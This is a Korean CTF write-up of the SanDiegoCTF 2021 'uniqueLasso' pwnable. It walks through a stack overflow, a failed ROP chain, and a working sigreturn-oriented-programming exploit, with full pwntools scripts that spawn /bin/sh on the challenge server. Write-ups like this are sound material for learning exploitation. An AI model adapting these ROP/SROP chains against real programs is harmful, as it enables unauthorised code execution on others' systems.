문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
하..풀릴듯 말듯 했는데 결국 못풀었었다.
Analysis
mitigation
execution
code
함수가 넘 많아서 문자열 찾기로 인풋 넣는 곳 찾았다. (main함수였네)
RIP 컨트롤이 가능해서 쉽게 풀릴거 같은 느낌이다. flag를 주는 함수도 딱히 없었고해서 bss영역에다가 '/bin/sh'문자열 넣고 실행해야겠다는 생각을 하였다.
Exploit Scenario
Summary
- sys_read 호출하여 bss 영역에 '/bin/sh' 문자열 삽입
- sys_sigreturn 호출 ~ (Sig ROP)
처음엔 syscall로 sys_read를 호출해서 bss영역에 /bin/sh 문자열을 쓰고난 다음에 main으로 리턴하려고 했었다.
sys read가 호출되고 이제 main으로 리턴하면 되는데..!!
계속 뻉글뺑글 무한 루프를 돈다 ㅠㅁㅠ..
저기 빨간색 네모 친 부분에 집중을 해보자.
mov eax, edx
syscall
edx에 있는 값을 eax에 mov하고 syscall을 한다.
syscall number가 0x8이면 sys_lseek을 호출하나보다...
여기서 바로 rdx를 len(binsh)가 아닌 0x3b로 바꾸어서 sys_execve를 호출하게 해보았다.
payload = ''
payload += 'A' * (0x6 + 0x8)
# read
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi) # fd
payload += p64(0)
payload += p64(pop_rsi) # buf
payload += p64(bss_addr)
payload += p64(pop_rdx) # len
payload += p64(59)
payload += p64(syscall)
# execve
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
print hex(len(payload))
pause()
p.sendlineafter('\n', payload)
p.send(binsh)
잘 되나 싶더니, 반환값이 저렇게 찍혀서 sys_execve 호출에 실패했다고 뜬다. 왜 실패했는지는 errno 전역변수를 확인해보면 된다는데... 사실 잘 모르겠다 ㅎㅎㅎ;;;;;
여기서 생각할 수 있는 방법은 Sigreturn oriented programming 이다. 해당 문제에서는 가젯이 부족하지는 않지만.. 저렇게 계속 syscall이 무한루프 돌아버리고.. sys_execve 호출이 안되니 저 방법을 써야겠다고 생각했다. (sys sigreturn 호출~)
pwntools에는 짱짱 편리한 SigreturnFrame가 있기 때문에 짱 편리하게 sigcontext 구조체에 맞게 익스 코드를 작성할 수 있당.
도움..!
Exploit Code
from pwn import *
#context.log_level = 'DEBUG'
#p = process('./uniqueLasso')
p = remote('lasso.sdc.tf', 1337)
e = ELF('./uniqueLasso')
syscall = 0x40125c
pop_rax = 0x4005af
pop_rdi = 0x4006a6
pop_rsi = 0x410b63
pop_rdx = 0x44a0a5
bss_addr = e.bss()
binsh = '/bin/sh\x00'
print hex(bss_addr)
frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss_addr
frame.rip = syscall
payload = ''
payload += 'A' * (0x6 + 0x8)
#payload += 'BBBBBBBB'
# read
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi) # fd
payload += p64(0)
payload += p64(pop_rsi) # buf
payload += p64(bss_addr)
payload += p64(pop_rdx) # len
payload += p64(0xf)
payload += p64(syscall)
payload += str(frame)
pause()
p.sendlineafter('\n', payload)
p.send(binsh)
p.interactive()
'CTF > Write UPs' 카테고리의 다른 글
[DCTF 2021 : pwnable] 내가 푼 문제들 풀이 (0) | 2021.05.17 |
---|---|
[SanDiegoCTF 2021 : pwnable] printFAILED 풀이 (FSB) (0) | 2021.05.11 |
[SanDiegoCTF 2021 : pwnable] Flag dROPper 풀이 (0) | 2021.05.10 |
[DawgCTF 2021] 내가 푼 문제들 풀이 (0) | 2021.05.10 |
[2021 HSPACE CTF : Pwnable] ALL Clear! writeups (04.26 23:59 이후 공개) (0) | 2021.04.27 |